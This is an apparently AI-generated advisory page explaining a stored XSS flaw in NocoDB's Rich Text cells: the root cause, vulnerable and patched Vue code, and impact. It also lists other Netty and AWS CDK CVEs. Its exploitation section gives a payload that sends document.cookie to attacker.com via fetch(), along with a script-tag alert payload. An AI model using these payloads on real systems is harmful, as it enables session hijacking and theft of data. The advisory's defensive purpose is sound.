CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-28401

CVE-2026-28401: Stored Cross-Site Scripting (XSS) in NocoDB Rich Text Components

Alon Barad
Alon Barad
Software Engineer

Mar 3, 2026·5 min read·15 visits

Executive Summary (TL;DR)

NocoDB versions before 0.301.3 allow authenticated Editors to inject malicious scripts into Rich Text cells. The issue stems from unsafe Markdown rendering configurations permitting raw HTML. Attackers can hijack sessions of any user viewing the compromised data.

NocoDB, an open-source airtable alternative, contains a stored Cross-Site Scripting (XSS) vulnerability in versions prior to 0.301.3. The vulnerability exists within the rendering logic for Rich Text cells, where user-supplied Markdown is converted to HTML and rendered without sufficient sanitization. Authenticated attackers with Editor permissions can inject malicious JavaScript payloads into database cells. These payloads execute in the context of other users' sessions—including Administrators—when the affected cell is viewed in the grid, form, or expanded view interfaces.

Vulnerability Overview

NocoDB is a low-code platform that transforms databases into smart spreadsheets. A critical component of its user interface is the TextArea component, which supports Rich Text formatting via Markdown. In affected versions, the application fails to properly neutralize HTML tags embedded within Markdown input before rendering them in the browser.

The vulnerability is classified as Stored Cross-Site Scripting (CWE-79). Unlike Reflected XSS, the malicious payload is permanently stored in the backend database. Consequently, the script executes every time the compromised data is retrieved and displayed by the frontend application. This persistence amplifies the risk, as a single injection can compromise multiple victims over an extended period without requiring further interaction from the attacker.

Root Cause Analysis

The root cause lies in the configuration of the Markdown parsing library and the subsequent handling of the generated HTML in the Vue.js frontend.

1. Insecure Library Configuration: The application utilizes markdown-it to parse Markdown text. In vulnerable versions, this library was instantiated with the configuration option { html: true }. This specific setting explicitly instructs the parser to preserve raw HTML tags found within the Markdown source rather than escaping them. This is often enabled to allow advanced formatting but creates a direct injection path if the input is untrusted.

2. Unsafe DOM Sink: The parsed HTML output was bound to the Document Object Model (DOM) using the Vue.js v-html directive. The v-html directive updates the element's innerHTML. Vue's documentation explicitly warns that this directive does not perform data sanitization, making it a known sink for XSS attacks if the content is not trusted.

3. Absence of Sanitization: The application lacked an intermediate sanitization layer (such as DOMPurify) between the Markdown parser and the v-html directive. As a result, any JavaScript embedded in the Markdown (e.g., <script> tags or event handlers like onload or onerror) was passed directly to the browser for execution.

Code Path Analysis

The vulnerability manifests in the data flow from the database API to the frontend component rendering the cell value. Below is a conceptual representation of the vulnerable logic versus the remediated approach.

Vulnerable Implementation

The renderer permitted raw HTML via the parser configuration and injected it directly into the DOM.

// Vulnerable Configuration
const md = new MarkdownIt({
  html: true,         // DANGER: Allows raw HTML tags to pass through
  linkify: true,
  typographer: true
});
 
// Vue Component Template
// The 'value' is user-controlled content from the database
<div class="rich-text-cell" v-html="md.render(value)"></div>

Patched Implementation

The fix involves disabling raw HTML in the parser and ensuring any output is sanitized before rendering.

// Secure Configuration
import DOMPurify from 'dompurify';
 
const md = new MarkdownIt({
  html: false,        // SAFE: Escapes HTML tags (e.g., < becomes &lt;)
  linkify: true,
  typographer: true
});
 
// Enhanced security often includes explicit sanitization even if html: false
const safeContent = DOMPurify.sanitize(md.render(value));
 
// Vue Component Template
<div class="rich-text-cell" v-html="safeContent"></div>

By setting html: false, the parser converts <script> to &lt;script&gt;, rendering it as harmless text rather than executable code.

Exploitation Methodology

Exploitation requires an authenticated account with 'Editor' permissions or higher, as the attacker must be able to modify cell content in a table.

1. Reconnaissance: The attacker identifies a table column configured with the 'Rich Text' or 'Long Text' data type that supports Markdown rendering.

2. Injection: The attacker inputs a malicious payload into a cell. Since the vulnerability is stored, standard XSS vectors are effective.

  • Payload A (Image Error Vector):
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
  • Payload B (Script Tag):
    <script>alert(document.domain)</script>

3. Execution: The attack is triggered passively. When an Administrator or another user opens the table in Grid View, or opens the specific record in Form View, the frontend fetches the cell data. The markdown-it library parses the payload, preserving the HTML tags. Vue's v-html inserts the markup into the DOM, triggering the onerror event or executing the script block immediately.

Impact Assessment

The successful exploitation of this vulnerability has significant security implications for NocoDB deployments, particularly those shared among teams with varying privilege levels.

Session Hijacking: The most immediate impact is the theft of session tokens (JWTs or session cookies). An attacker can exfiltrate these tokens to a remote server, allowing them to impersonate the victim. If the victim is an Administrator, the attacker gains full control over the NocoDB instance, including the ability to manage users, delete databases, and modify system configurations.

Data Exfiltration: Scripts executed in the victim's browser run with the victim's privileges. The attacker can use fetch() or XMLHttpRequest to query NocoDB APIs, retrieving sensitive data from tables the attacker does not normally have access to.

Phishing and Redirection: The attacker can modify the visual appearance of the application or redirect the user to a malicious login page to capture credentials for external systems integrated with NocoDB.

Official Patches

NocoDBNocoDB Release 0.301.3

Technical Appendix

CVSS Score
5.4/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
EPSS Probability
0.05%
Top 86% most exploited

Affected Systems

NocoDB < 0.301.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
NocoDB
NocoDB
< 0.301.30.301.3
AttributeDetail
CVE IDCVE-2026-28401
CWE IDCWE-79
CVSS v3.15.4 (Medium)
Attack VectorNetwork
Privileges RequiredLow (Editor)
User InteractionRequired (Passive)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1552.001Unsecured Credentials: Credentials In Files
Credential Access
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GHSAAdvisory containing technical details and attack vectors

Vulnerability Timeline

GHSA Advisory Published
2026-03-02
CVE Assigned
2026-03-02
NVD Analysis Published
2026-03-03

References & Sources

  • [1]GHSA-wwp2-x4rj-j8rm
  • [2]NVD - CVE-2026-28401

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•12 minutes ago•CVE-2026-50009
4.8

CVE-2026-50009: Stateless Reset Token Exposure in Netty QUIC

CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.

Alon Barad
Alon Barad
0 views•6 min read
•42 minutes ago•CVE-2026-50010
7.5

CVE-2026-50010: Hostname Verification Bypass in Netty TLS Client

A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.

Amit Schendel
Amit Schendel
0 views•8 min read
•about 1 hour ago•CVE-2026-50011
7.5

CVE-2026-50011: Unbounded Resource Pre-Allocation in Netty Redis Codec

An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.

Amit Schendel
Amit Schendel
1 views•7 min read
•about 2 hours ago•CVE-2026-50020
5.3

CVE-2026-50020: HTTP Request Smuggling in Netty HttpObjectDecoder via Arbitrary Leading Control Bytes

CVE-2026-50020 is a medium-severity HTTP Request Smuggling/Response Smuggling vulnerability (CWE-444) within the Netty asynchronous network application framework. The flaw resides in Netty's HTTP codec implementation, specifically the HttpObjectDecoder class, which silently consumes arbitrary ISO control bytes preceding the first request line.

Alon Barad
Alon Barad
3 views•7 min read
•about 2 hours ago•CVE-2026-50560
6.9

CVE-2026-50560: Denial of Service in Netty HTTP/2 Codec via Max Header List Size Exception

CVE-2026-50560 describes a vulnerability in Netty's HTTP/2 codec implementation. When acting as an intermediary (such as a reverse proxy, API gateway, or edge server), Netty can be forced into an application-level Denial-of-Service condition. The attack is triggered by negotiating a restrictive SETTINGS_MAX_HEADER_LIST_SIZE from the client, causing Netty to process incoming requests fully, but subsequently crash or abort during outbound response serialization. This results in an asymmetrical consumption of resources on backend systems and thread starvation within the Netty event loop.

Alon Barad
Alon Barad
3 views•6 min read
•about 3 hours ago•CVE-2026-11417
7.3

CVE-2026-11417: OS Command Injection in AWS CDK NodejsFunction Bundling Pipeline

A critical supply-chain OS command injection vulnerability exists in the NodejsFunction local bundling pipeline within the AWS Cloud Development Kit (CDK) library (aws-cdk-lib) before version 2.245.0 (and before 2.246.0 on Windows systems). The vulnerability allows a threat actor who can control any of several bundling properties (externalModules, define, loader, inject, or esbuildArgs) to execute arbitrary operating system commands on the host machine running the CDK compilation or deployment toolchain (e.g., during cdk synth, cdk deploy, or cdk diff).

Amit Schendel
Amit Schendel
3 views•9 min read